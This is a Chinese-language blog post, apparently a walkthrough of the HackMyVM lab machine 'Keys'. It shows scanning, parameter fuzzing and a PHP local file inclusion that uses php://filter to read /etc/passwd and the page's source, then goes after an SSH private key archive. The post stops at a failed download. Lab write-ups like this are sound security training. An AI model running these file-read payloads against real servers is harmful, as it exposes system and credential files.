{"id":766,"date":"2024-07-25T05:53:32","date_gmt":"2024-07-24T21:53:32","guid":{"rendered":"http:\/\/162.14.82.114\/?p=766"},"modified":"2024-07-25T05:53:32","modified_gmt":"2024-07-24T21:53:32","slug":"hmv-_-keys","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/766\/07\/25\/2024\/","title":{"rendered":"hmv[-_-]Keys"},"content":{"rendered":"

Keys<\/h1>\n

\"image-20240712183933126\"<\/div><\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/key]\n\u2514\u2500$ sudo arp-scan -l -I eth1                                                                                   \n[sudo] password for kali: \nInterface: eth1, type: EN10MB, MAC: 08:00:27:fb:51:ff, IPv4: 192.168.8.18\nStarting arp-scan 1.10.0 with 256 hosts (https:\/\/github.com\/royhills\/arp-scan)\n192.168.8.2     34:2e:b7:08:3d:a1       Intel Corporate\n192.168.8.1     a2:cd:db:84:39:2a       (Unknown: locally administered)\n192.168.8.19    08:00:27:fd:8d:bc       PCS Systemtechnik GmbH<\/code><\/pre>\n
\u4fe1\u606f\u641c\u96c6<\/h2>\n
\u7aef\u53e3\u626b\u63cf<\/h3>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/key]\n\u2514\u2500$ rustscan -a $IP -- -A   \n.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.\n| {}  }| { } |{ {__ {_   _}{ {__  \/  ___} \/ {} \\ |  `| |\n| .-. \\| {_} |.-._} } | |  .-._} }\\     }\/  \/\\  \\| |\\  |\n`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'\nThe Modern Day Port Scanner.\n________________________________________\n: https:\/\/discord.gg\/GFrQsGy           :\n: https:\/\/github.com\/RustScan\/RustScan :\n --------------------------------------\n\ud83d\ude35 https:\/\/admin.tryhackme.com\n\n[~] The config file is expected to be at "\/home\/kali\/.rustscan.toml"\n[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers\n[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. \nOpen 192.168.8.19:22\nOpen 192.168.8.19:80\n\nPORT   STATE SERVICE REASON  VERSION\n22\/tcp open  ssh     syn-ack OpenSSH 8.4p1 Debian 5 (protocol 2.0)\n| ssh-hostkey: \n|   3072 6e:b1:d1:09:f5:dc:01:29:ed:9d:4f:8e:a7:7a:a0:a6 (RSA)\n| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2uAUC+PcCa2ymDfQ\/W4KMlgGPOv23aQnuhgpgSt6TuE4cMZ+J4OfGNu6EpmvzpGnMq+wPeFhL+40fZVFV5DhFHPdnTYMIcvYdAbZ5DeBKbz2PHOa9DkG47l8vQtwkeyekNV5t2Uwc74C2kLRPorZs8KmwCMa1AaW2E77wN2dQJzeKu45cLYtvkJQ2CCb0O87\/wEtUQV2gWyonVlxhNlKKbR5iw\/mhw7v0JeCDh2PCHALNcgB\/bKvMaNA5su59FcFBwkXuwfIpmK07HKG6iAekLj1QIY5IrPtTCHebl\/9eqHKL5EhzmGwQ3G7a+Z2ySEei6dWBKV0EiXeaL5P0Mark+NYjISqhay1nlmeM9bmkgEWHuPrMrC4EqbzhgLLzL6YQmqvQIISKeYKztfiMC94iK5MCbw8OKAVe1rYbTT3ZdVBlTx3WiU\/s23iF1X0C67QcrTkHqh\/zX8e8V\/CkfRbIz7TGRiTli0mexrdDPWElXaxYjMJgB9nx2CrJKlvQa40=\n|   256 35:f4:29:df:64:6a:be:7f:9f:0a:9f:ee:07:e4:19:07 (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMhb\/5Z8+ZeDVeZEI7VpvxMH6pmkm\/aXCkS6g0RI32GFGtQ+wqWoDy\/gULTwUEWkXSn\/2DxbzBhF9MsXzdRAKCc=\n|   256 4e:0f:f7:32:cc:c7:91:57:07:d9:50:0a:38:c9:e5:11 (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINVGc7iARhJng0mD1F8+7P9RI0osKlHniZ3HlfOOXCRh\n80\/tcp open  http    syn-ack nginx 1.18.0\n| http-methods: \n|_  Supported Methods: GET HEAD\n|_http-server-header: nginx\/1.18.0\n|_http-title: The World of Keys\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n
\u76ee\u5f55\u626b\u63cf<\/h3>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/key]\n\u2514\u2500$ gobuster dir -u http:\/\/$IP -q -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x php,zip,bak,txt,html \n\/index.html           (Status: 200) [Size: 135]\n\/readme.php           (Status: 200) [Size: 398]<\/code><\/pre>\n
\u6f0f\u6d1e\u53d1\u73b0<\/h2>\n
\u8e29\u70b9<\/h3>\n
\"image-20240725034250818\"<\/div><\/p>\n
\u770b\u4e00\u4e0b\u6e90\u4ee3\u7801\uff1a<\/p>\n
<!DOCTYPE html>\n<html>\n<head>\n<title>The World of Keys<\/title>\n\n<img src="world_of_keys.jpg" alt="keys" height="685">\n\n<\/body>\n<\/html><\/code><\/pre>\n
\u53d1\u73b0\u4e00\u4e2a\u56fe\u7247\uff0c\u5c1d\u8bd5\u6d45\u6d45\u5206\u6790\u4e00\u4e0b\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/key]\n\u2514\u2500$ binwalk world_of_keys.jpg   \n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n2976          0xBA0           Copyright string: "Copyright International Color Consortium, 2009"\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/key]\n\u2514\u2500$ exiftool world_of_keys.jpg ExifTool Version Number         : 12.23\nFile Name                       : world_of_keys.jpg\nDirectory                       : .\nFile Size                       : 45 KiB\nFile Modification Date\/Time     : 2021:10:27 15:26:54-04:00\nFile Access Date\/Time           : 2024:07:24 15:44:36-04:00\nFile Inode Change Date\/Time     : 2024:07:24 15:44:19-04:00\nFile Permissions                : -rw-r--r--\nFile Type                       : JPEG\nFile Type Extension             : jpg\nMIME Type                       : image\/jpeg\nProfile CMM Type                : \nProfile Version                 : 2.0.0\nProfile Class                   : Display Device Profile\nColor Space Data                : RGB\nProfile Connection Space        : XYZ\nProfile Date Time               : 2009:03:27 21:36:31\nProfile File Signature          : acsp\nPrimary Platform                : Unknown ()\nCMM Flags                       : Not Embedded, Independent\nDevice Manufacturer             : \nDevice Model                    : \nDevice Attributes               : Reflective, Glossy, Positive, Color\nRendering Intent                : Perceptual\nConnection Space Illuminant     : 0.9642 1 0.82491\nProfile Creator                 : \nProfile ID                      : 29f83ddeaff255ae7842fae4ca83390d\nProfile Description             : sRGB IEC61966-2-1 black scaled\nBlue Matrix Column              : 0.14307 0.06061 0.7141\nBlue Tone Reproduction Curve    : (Binary data 2060 bytes, use -b option to extract)\nDevice Model Desc               : IEC 61966-2-1 Default RGB Colour Space - sRGB\nGreen Matrix Column             : 0.38515 0.71687 0.09708\nGreen Tone Reproduction Curve   : (Binary data 2060 bytes, use -b option to extract)\nLuminance                       : 0 80 0\nMeasurement Observer            : CIE 1931\nMeasurement Backing             : 0 0 0\nMeasurement Geometry            : Unknown\nMeasurement Flare               : 0%\nMeasurement Illuminant          : D65\nMedia Black Point               : 0.01205 0.0125 0.01031\nRed Matrix Column               : 0.43607 0.22249 0.01392\nRed Tone Reproduction Curve     : (Binary data 2060 bytes, use -b option to extract)\nTechnology                      : Cathode Ray Tube Display\nViewing Cond Desc               : Reference Viewing Condition in IEC 61966-2-1\nMedia White Point               : 0.9642 1 0.82491\nProfile Copyright               : Copyright International Color Consortium, 2009\nChromatic Adaptation            : 1.04791 0.02293 -0.0502 0.0296 0.99046 -0.01707 -0.00925 0.01506 0.75179\nJFIF Version                    : 1.01\nResolution Unit                 : None\nX Resolution                    : 1\nY Resolution                    : 1\nCurrent IPTC Digest             : 68cf40a2e2bdeb8263afc23ff28174f7\nOriginal Transmission Reference : zJyh4V_ablyJTPkM0pTI\nImage Width                     : 1440\nImage Height                    : 810\nEncoding Process                : Progressive DCT, Huffman coding\nBits Per Sample                 : 8\nColor Components                : 3\nY Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)\nImage Size                      : 1440x810\nMegapixels                      : 1.2<\/code><\/pre>\n
\u5c1d\u8bd5\u63d0\u53d6\u4e86\uff0c\u4f46\u662f\u6ca1\u53d1\u73b0\u5565\u6709\u7528\u7684\u3002\u3002\u3002\u3002<\/p>\n
# exiftool world_of_keys.jpg -b > temp\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/key]\n\u2514\u2500$ cat temp\n*R{\ufffd\ufffd\ufffdGp\ufffd\ufffd\ufffd@j\ufffd\ufffd\ufffd>i\ufffd\ufffd\ufffd  A l \ufffd \ufffd \ufffd!!H!u!\ufffd!\ufffd!\ufffd"'"U"\ufffd"\ufffd"\ufffd#\n(?(q(\ufffd(\ufffd))8)k)\ufffd)\ufffd**5*h*\ufffd*\ufffd++6+i+\ufffd+\ufffd,,9,n,\ufffd,\ufffd-'I'z'\ufffd'\ufffd(\n3F33\ufffd3\ufffd4+4e4\ufffd4\ufffd55M5\ufffd5\ufffd5\ufffd676r6\ufffd6\ufffd7$7`7\ufffd7\ufffd88P8\ufffd8\ufffd99B99\ufffd9\ufffd:6:t:\ufffd:\ufffd;-;k;\ufffd;\ufffd<'<e<\ufffd<\ufffd="=a=\ufffd=\ufffd> >`>\ufffd>\ufffd?!?a?\ufffd?\ufffd@#@d@\ufffd@\ufffdA)AjA\ufffdA\ufffdB0BrB\ufffdB\ufffdC:C}C\ufffdDDGD\ufffdD\ufffdEEUE\ufffdE\ufffdF"FgF\ufffdF\ufffdG5G{G\ufffdHHKH\ufffdH\ufffdIIcI\ufffdI\ufffdJ7J}J\ufffdK\n   KSK\ufffdK\ufffdL*LrL\ufffdMMJM\ufffdM\ufffdN%NnN\ufffdOOIO\ufffdO\ufffdP'PqP\ufffdQQPQ\ufffdQ\ufffdR1R|R\ufffdSS_S\ufffdS\ufffdTBT\ufffdT\ufffdU(UuU\ufffdVV\\V\ufffdV\ufffdWDW\ufffdW\ufffdX\/X}X\ufffdYYiY\ufffdZZVZ\ufffdZ\ufffd[E[\ufffd[\ufffd\\5\\\ufffd\\\ufffd]']x]\ufffd^^l^\ufffd__a_\ufffd``W`\ufffd`\ufffdaOa\ufffda\ufffdbIb\ufffdb\ufffdcCc\ufffdc\ufffdd@d\ufffdd\ufffde=e\ufffde\ufffdf=f\ufffdf\ufffdg=g\ufffdg\ufffdh?h\ufffdh\ufffdiCi\ufffdi\ufffdjHj\ufffdj\ufffdkOk\ufffdk\ufffdlWl\ufffdm`m\ufffdnnkn\ufffdooxo\ufffdp+p\ufffdp\ufffdq:q\ufffdq\ufffdrKr\ufffdss]s\ufffdttpt\ufffdu(u\ufffdu\ufffdv>v\ufffdv\ufffdwVw\ufffdxxnx\ufffdy*y\ufffdy\ufffdzFz\ufffd{{c{\ufffd|!|\ufffd|\ufffd}A}\ufffd~~b~\ufffd#\ufffd\ufffdG\ufffd\ufffd\ufffd\n\ufffdk\ufffd\u03420\ufffd\ufffd\ufffd\ufffdW\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdG\ufffd\ufffd\ufffd\ufffdr\ufffd\u05c7;\ufffd\ufffd\ufffd\ufffdi\ufffd\u03893\ufffd\ufffd\ufffd\ufffd\ufffdd\ufffd\u028b0\ufffd\ufffd\ufffd\ufffd\ufffdc\ufffd\u028d1\ufffd\ufffd\ufffd\ufffd\ufffdf\ufffd\u038f6\ufffd\ufffd\ufffd\ufffdn\ufffd\u0591?\ufffd\ufffd\ufffd\ufffdz\ufffd\ufffdM\ufffd\ufffd\ufffd \ufffd\ufffd\ufffd\ufffd\ufffd_\ufffd\u02564\ufffd\ufffd\ufffd\n\ufffdu\ufffd\ufffd\ufffdL\ufffd\ufffd\ufffd$\ufffd\ufffd\ufffd\ufffd\ufffdh\ufffd\u055bB\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdd\ufffd\u049e@\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdi\ufffd\u0621G\ufffd\ufffd\ufffd&\ufffd\ufffd\ufffd\ufffdv\ufffd\ufffdV\ufffd\u01e58\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdn\ufffd\ufffdR\ufffd\u01297\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdu\ufffd\ufffd\\\ufffd\u042dD\ufffd\ufffd\ufffd-\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdu\ufffd\ufffd`\ufffd\u05b2K\ufffd\u00b38\ufffd\ufffd\ufffd%\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdy\ufffd\ufffdh\ufffd\ufffdY\ufffd\u0479J\ufffd\u00ba;\ufffd\ufffd\ufffd.\ufffd\ufffd\ufffd!\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\n\ufffd\ufffd\ufffd\ufffd2\ufffd\ufffdF\ufffd\ufffd\ufffd[\ufffd\ufffd\ufffdp\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd(\ufffd\ufffd@\ufffd\ufffd\ufffdX\ufffd\ufffd\ufffdr\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd4\ufffd\ufffd\ufffdP\ufffd\ufffd\ufffdm\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd8\ufffd\ufffd\ufffdW\ufffd\ufffd\ufffdw\ufffd\ufffd\ufffd\ufffd)\ufffd\ufffd\ufffdK\ufffd\ufffd\ufffdm\ufffd\ufffdCRT Reference Viewing Condition in IEC 61966-2-10.9642 1 0.82491Copyright International Color Consortium, 20091.04791 0.02293 -0.0502 0.0296 0.99046 -0.01707 -0.00925 0.01506 0.751791 101168cf40a2e2bdeb8263afc23ff28174f7zJyh4V_ablyJTPkM0pTI14408102832 21440 8101.1664<\/code><\/pre>\n
\u654f\u611f\u76ee\u5f55<\/h3>\n
# http:\/\/192.168.8.19\/readme.php\n.......\n<!-- Here is a Gift for you Ayr43KwSdwpWQw6HFce8SaMmpWH12XsUF -->\n.......<\/code><\/pre>\n
\u5c1d\u8bd5\u4f7f\u7528cyberchef<\/code>\u89e3\u5bc6\uff1a<\/p>\n
\"image-20240725035622425\"<\/div>
\n
\"image-20240725035635538\"<\/div><\/p>\n
\u5f97\u5230\u8def\u5f84\uff0c\u5c1d\u8bd5\u7ee7\u7eed\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/key]\n\u2514\u2500$ curl -s http:\/\/$IP\/my_personal_wordlist.txt | head\nthe\nof\nand\nto\na\nin\nthat\nI\nwas\nhe<\/code><\/pre>\n
\u53d1\u73b0\u662f\u4e00\u4e2a\u5b57\u5178\uff0c\u4fdd\u5b58\u4e0b\u6765\u8fdb\u884cfuzz\uff01<\/p>\n
fuzz\u53c2\u6570<\/h3>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/key]\n\u2514\u2500$ ffuf -u http:\/\/$IP\/readme.php?FUZZ=\/etc\/passwd -w .\/my_personal_wordlist.txt --fw 74  \n\n        \/'___\\  \/'___\\           \/'___\\       \n       \/\\ \\__\/ \/\\ \\__\/  __  __  \/\\ \\__\/       \n       \\ \\ ,__\\\\ \\ ,__\\\/\\ \\\/\\ \\ \\ \\ ,__\\      \n        \\ \\ \\_\/ \\ \\ \\_\/\\ \\ \\_\\ \\ \\ \\ \\_\/      \n         \\ \\_\\   \\ \\_\\  \\ \\____\/  \\ \\_\\       \n          \\\/_\/    \\\/_\/   \\\/___\/    \\\/_\/       \n\n       v2.1.0-dev\n________________________________________________\n\n :: Method           : GET\n :: URL              : http:\/\/192.168.8.19\/readme.php?FUZZ=\/etc\/passwd\n :: Wordlist         : FUZZ: \/home\/kali\/temp\/key\/my_personal_wordlist.txt\n :: Follow redirects : false\n :: Calibration      : false\n :: Timeout          : 10\n :: Threads          : 40\n :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500\n :: Filter           : Response words: 74\n________________________________________________\n\n34sy                    [Status: 200, Size: 2004, Words: 88, Lines: 55, Duration: 29ms]\n:: Progress: [99900\/99900] :: Job [1\/1] :: 1503 req\/sec :: Duration: [0:01:40] :: Errors: 0 ::<\/code><\/pre>\n
\u547d\u4ee4\u6267\u884c<\/h3>\n
\u5c1d\u8bd5\u4e00\u4e0b\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/key]\n\u2514\u2500$ curl http:\/\/$IP\/readme.php?34sy=\/etc\/passwd       \n<!DOCTYPE html>\n<html>\n<head>\n  <style>\n    .center {\n    margin: 0;\n    position: absolute;\n    top: 50%;\n    left: 50%;\n    font-size: 100px;\n    -ms-transform: translate(-50%, -50%);\n    transform: translate(-50%, -50%);\n  }\n  <\/style>\n<\/head>\n<body>\n  <div class="center">\n    <p>[ Read Me. ]<\/p>\n    <!-- Here is a Gift for you Ayr43KwSdwpWQw6HFce8SaMmpWH12XsUF -->\n  <\/div>\n<\/body>\n<\/html>\n\nroot:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/run\/ircd:\/usr\/sbin\/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\n_apt:x:100:65534::\/nonexistent:\/usr\/sbin\/nologin\nsystemd-timesync:x:101:101:systemd Time Synchronization,,,:\/run\/systemd:\/usr\/sbin\/nologin\nsystemd-network:x:102:103:systemd Network Management,,,:\/run\/systemd:\/usr\/sbin\/nologin\nsystemd-resolve:x:103:104:systemd Resolver,,,:\/run\/systemd:\/usr\/sbin\/nologin\nmessagebus:x:104:110::\/nonexistent:\/usr\/sbin\/nologin\navahi-autoipd:x:105:113:Avahi autoip daemon,,,:\/var\/lib\/avahi-autoipd:\/usr\/sbin\/nologin\nsteve:x:1000:1000:steve,,,:\/home\/steve:\/bin\/bash\nsystemd-coredump:x:999:999:systemd Core Dumper:\/:\/usr\/sbin\/nologin\njack:x:1001:1001::\/home\/jack:\/bin\/bash\nrachel:x:1002:1002::\/home\/rachel:\/bin\/bash\nuseless:x:1003:1003::\/home\/useless:\/bin\/bash\nsshd:x:106:65534::\/run\/sshd:\/usr\/sbin\/nologin<\/code><\/pre>\n
\u5c1d\u8bd5\u8bfb\u53d6\u5176\u4ed6\u6587\u4ef6\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/key]\n\u2514\u2500$ curl -s http:\/\/$IP\/readme.php?34sy=\/etc\/passwd | grep "\/bin\/"\nroot:x:0:0:root:\/root:\/bin\/bash\nsync:x:4:65534:sync:\/bin:\/bin\/sync\nsteve:x:1000:1000:steve,,,:\/home\/steve:\/bin\/bash\njack:x:1001:1001::\/home\/jack:\/bin\/bash\nrachel:x:1002:1002::\/home\/rachel:\/bin\/bash\nuseless:x:1003:1003::\/home\/useless:\/bin\/bash<\/code><\/pre>\n
\u5c1d\u8bd5\u8bfb\u53d6\u8fd9\u51e0\u4e2a\u7528\u6237\u7684\u79c1\u94a5\uff0c\u4f46\u662f\u90fd\u5931\u8d25\u4e86\uff0c\u5c1d\u8bd5\u4e00\u4e0b\u8bfb\u53d6\u8fd9\u4e2a\u6587\u4ef6\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/key]\n\u2514\u2500$ curl -s http:\/\/$IP\/readme.php?34sy=\/var\/www\/html\/readme.php<\/code><\/pre>\n
\u53d1\u73b0\u4f1a\u5faa\u73af\u8f93\u51fahttp\u7684\u5185\u5bb9\uff0c\u5c1d\u8bd5\u522b\u7684\u529e\u6cd5\uff0c\u4f8b\u5982\u4f2a\u534f\u8bae\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/key]\n\u2514\u2500$ curl -s http:\/\/$IP\/readme.php?34sy=php:\/\/filter\/convert.base64-encode\/resource=\/etc\/passwd\n<!DOCTYPE html>\n<html>\n<head>\n  <style>\n    .center {\n    margin: 0;\n    position: absolute;\n    top: 50%;\n    left: 50%;\n    font-size: 100px;\n    -ms-transform: translate(-50%, -50%);\n    transform: translate(-50%, -50%);\n  }\n  <\/style>\n<\/head>\n<body>\n  <div class="center">\n    <p>[ Read Me. ]<\/p>\n    <!-- Here is a Gift for you Ayr43KwSdwpWQw6HFce8SaMmpWH12XsUF -->\n  <\/div>\n<\/body>\n<\/html>\n\ncm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwMDo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtdGltZXN5bmM6eDoxMDE6MTAxOnN5c3RlbWQgVGltZSBTeW5jaHJvbml6YXRpb24sLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMjoxMDM6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMzoxMDQ6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwNDoxMTA6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgphdmFoaS1hdXRvaXBkOng6MTA1OjExMzpBdmFoaSBhdXRvaXAgZGFlbW9uLCwsOi92YXIvbGliL2F2YWhpLWF1dG9pcGQ6L3Vzci9zYmluL25vbG9naW4Kc3RldmU6eDoxMDAwOjEwMDA6c3RldmUsLCw6L2hvbWUvc3RldmU6L2Jpbi9iYXNoCnN5c3RlbWQtY29yZWR1bXA6eDo5OTk6OTk5OnN5c3RlbWQgQ29yZSBEdW1wZXI6LzovdXNyL3NiaW4vbm9sb2dpbgpqYWNrOng6MTAwMToxMDAxOjovaG9tZS9qYWNrOi9iaW4vYmFzaApyYWNoZWw6eDoxMDAyOjEwMDI6Oi9ob21lL3JhY2hlbDovYmluL2Jhc2gKdXNlbGVzczp4OjEwMDM6MTAwMzo6L2hvbWUvdXNlbGVzczovYmluL2Jhc2gKc3NoZDp4OjEwNjo2NTUzNDo6L3J1bi9zc2hkOi91c3Ivc2Jpbi9ub2xvZ2luCg== <\/code><\/pre>\n
\u53d1\u73b0\u53ef\u4ee5\u8bfb\uff0c\u5c1d\u8bd5\u4e00\u4e0b\u83b7\u53d6readme.php<\/code>\u6587\u4ef6\u5185\u5bb9\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/key]\n\u2514\u2500$ curl -s http:\/\/$IP\/readme.php?34sy=php:\/\/filter\/convert.base64-encode\/resource=readme.php\n........\nPCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICA8c3R5bGU+CiAgICAuY2VudGVyIHsKICAgIG1hcmdpbjogMDsKICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTsKICAgIHRvcDogNTAlOwogICAgbGVmdDogNTAlOwogICAgZm9udC1zaXplOiAxMDBweDsKICAgIC1tcy10cmFuc2Zvcm06IHRyYW5zbGF0ZSgtNTAlLCAtNTAlKTsKICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlKC01MCUsIC01MCUpOwogIH0KICA8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5PgogIDxkaXYgY2xhc3M9ImNlbnRlciI+CiAgICA8cD5bIFJlYWQgTWUuIF08L3A+CiAgICA8IS0tIEhlcmUgaXMgYSBHaWZ0IGZvciB5b3UgQXlyNDNLd1Nkd3BXUXc2SEZjZThTYU1tcFdIMTJYc1VGIC0tPgogIDwvZGl2Pgo8L2JvZHk+CjwvaHRtbD4KCgo8P3BocAogICAgaW5jbHVkZSgkX0dFVFsnMzRzeSddKTsKICAgIC8vIFRoZSBXb3JsZCBvZiBLZXlzIGFyZSBIZXJlIHlDUWxTcS8rKFVxLysoVXFWCiAgICAvLyBJIExvdmUgWjg1IChaZXJvTVEpIDopCiAgICAvLyBvbmUgbW9yZSBnaWZ0IGZvciB5b3UgOikgaWRfcnNhLnppcAo\/Pgo=<\/code><\/pre>\n
\u89e3\u7801\u4ee5\u540e\u5f97\u5230\uff1a<\/p>\n
..........\n<?php\n    include($_GET['34sy']);\n    \/\/ The World of Keys are Here yCQlSq\/+(Uq\/+(UqV\n    \/\/ I Love Z85 (ZeroMQ) :)\n    \/\/ one more gift for you :) id_rsa.zip\n?><\/code><\/pre>\n
\u770b\u4e0a\u53bb\u50cf\u662f\u52a0\u5bc6\uff1f\u8bd5\u4e00\u4e0b\uff1a<\/p>\n
\"image-20240725050153533\"<\/div>
\n
\"image-20240725050311125\"<\/div><\/p>\n
\u5c1d\u8bd5\u4e0b\u8f7d\u4e00\u4e0b\u8fd9\u4e2a\u79c1\u94a5\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/key]\n\u2514\u2500$ wget http:\/\/$IP\/k3ysSsSsSsSsS\/id_rsa.zip \n--2024-07-24 17:05:44--  http:\/\/192.168.8.19\/k3ysSsSsSsSsS\/id_rsa.zip\nConnecting to 192.168.8.19:80... connected.\nHTTP request sent, awaiting response... 404 Not Found\n2024-07-24 17:05:44 ERROR 404: Not Found.<\/code><\/pre>\n
\u53d1\u73b0\u5931\u8d25\u3002\u3002\u3002\u3002\u6362\u4e2a\u601d\u8def\uff1a<\/p>\n
